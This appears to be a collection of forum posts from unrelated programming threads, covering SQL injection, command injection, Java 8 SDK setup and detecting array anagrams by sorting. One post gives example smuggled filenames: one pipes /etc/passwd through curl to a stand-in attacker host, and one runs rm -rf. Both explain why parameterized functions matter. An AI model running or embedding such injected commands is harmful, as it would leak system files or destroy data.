Campbell Ritchie wrote:
Yes; it's good to see you back
Matthew Bendford wrote:Another common type of attack vector should also get mentioned: SQL injection.
It's pretty much the same idea: Unfortunately many beginner level tutorials, teachers and books commonly use simple string concatination to piece together sql queries. This works with provided sample data but already breaks on something common as a forum. The english language commonly uses both types of quote-marks: The single quote ' and the double quote ". If you now try to store this very line in a database one of them is used as delimiter character - and when encountered unexpected means end of input string which corrupts the sql query and the best case is an error returned from the database.
If you manipulate an input to a vulnerable qurry in a specific way you can get any sort of result from wiping the database over free access to leak its content.
So to get around this you have to sanitize the user input and properly build your query. One part of it is to use PreparedStatements. The query is done with placeholder characters (usually the question mark ?) and the values are filled with setters. This is also a way of type safety: If you expect a numerical value but you get a letter or other symbol the setter alrwady fail fast building the sql query before anything is ever send to the database.
An additional way of user input sanitization is limit the input characters. For a name there's a reason for a single dash - but a double dash -- (the sql comment marker to ignore the rest of the query srring) doesn't make sense. This can be a simple typo - but can also be an attacker trying to forge a bad query. You should reject such a name even before building the query as the input already looks too suspicious.
This list goes one for quite some lines. Atracker found all crazy issues over the decades like what's called a reverse shell abusing a bug in the apache web server or the recent log4j (which I became a victim of). The overall gist is: NEVER trust the user input. Always pre-check and validate and sanitize it and don't use simple string concatination if other methods are available like varargs methods for execute sub-processes, prepared statements for sql or simple I/O like a file by using a languages internal api rather then rely on a potential flawed shell command.
Ron McLeod wrote:
I'm not sure if this helps, but the approach above is vulnerable to command injection if the username or filename originated from an untrusted and unsanitized source. Data could be exfiltrated using a file name like:
"my-file; cat /etc/passwd | curl -X POST https://attackersite.com --data @-"
or data deleted with a filename like:
"my-file; rm -rf /path/to/valuable/stuff"
since you are passing a raw command string to the OS shell to process.
The two common ways to directly protect against command injection:
If available, use parameterized functions that enforce the separation between arguments and the command such as a write() function instead of eval, process, shell_exec, or system. This is the best way to protect against command injection.
You can use a regular expression library of the specific language to filter out dangerous OS injection syntax, but this is hard to do correctly and not recommended.
The best method to prevent command injection vulnerabilities is to use parameterized functions. In the case of writing a file, instead of doing writing via OS commands (e.g. touch) you can use the languages native write functionality.
Examples in different languages are below.
Zachary Griggs wrote:I compile all my projects in 1.8. Example:
This should work with Java 8. If this is the way your pom is currently setup, then you probably just need to download the SDK.
Locally:
File -> Project Structure -> Project SDK
If the SDK version isn't compatible with java 1.8, you'll see a lot of errors
You should be able to use Java 1.8 with Amazon Coretto Java 8. That would be a change on the machine to install that SDK and use it, probably. I'd imagine it would be on some sort of build server. Do you use Jenkins?
Junilu Lacar wrote:Line 13 accesses the parameter b directly and since Arrays.sort() does so in place, the array in the calling code will experience the side effect of being sorted after the call is made. That is, if the array b is unsorted before the call to comp(), it will be sorted after. That's kind of a no-no since it's a side-effect that you wouldn't normally expect to happen nor necessarily want to happen.
Junilu Lacar wrote:
Lisa Austin wrote: I was thinking mine maybe better because I'm checking for more than just null arrays?
Your code actually gives incorrect results per this requirement: "If a or b are nil (or null or None), the problem doesn't make sense so return false."
Your code will return true if a and b are null.
Campbell Ritchie wrote:Isn't it a quicksort for an int[]? In which case wouldn't the memory requirement be the same as that for the original array?
I think trying to find whether two arrays are anagrams of each other can readily be done by sorting. Probably a simpler and therefore less error‑prone solution than some others. What solutions did other people propose themselves?